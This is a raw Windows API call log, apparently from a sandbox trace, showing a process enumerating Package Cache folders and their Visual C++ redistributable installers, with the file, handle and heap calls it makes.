lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="")) returned 1 [0092.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.782] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.783] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.783] NtClose (Handle=0x15c) returned 0x0 [0092.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.785] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.785] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.785] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f93b8 [0092.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.787] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="")) returned 1 [0092.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="")) returned 0 [0092.789] GetLastError () returned 0x12 [0092.789] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.789] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.789] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.789] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.789] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="")) returned 1 [0092.789] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="")) returned 0 [0092.789] GetLastError () returned 0x12 [0092.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.790] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.790] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="")) returned 1 [0092.791] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.791] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.792] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.792] NtClose (Handle=0x174) returned 0x0 [0092.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.792] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.792] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.792] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f93d8 [0092.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.794] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 1 [0092.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.797] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 0 [0092.797] GetLastError () returned 0x12 [0092.797] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.797] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.797] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.797] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.797] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 1 [0092.797] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="")) returned 0 [0092.797] GetLastError () returned 0x12 [0092.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.797] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.797] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="")) returned 1 [0092.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.799] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.799] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.799] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.799] NtClose (Handle=0x15c) returned 0x0 [0092.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.801] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.801] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.801] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f93f8 [0092.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.804] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="")) returned 1 [0092.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.805] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="")) returned 0 [0092.805] GetLastError () returned 0x12 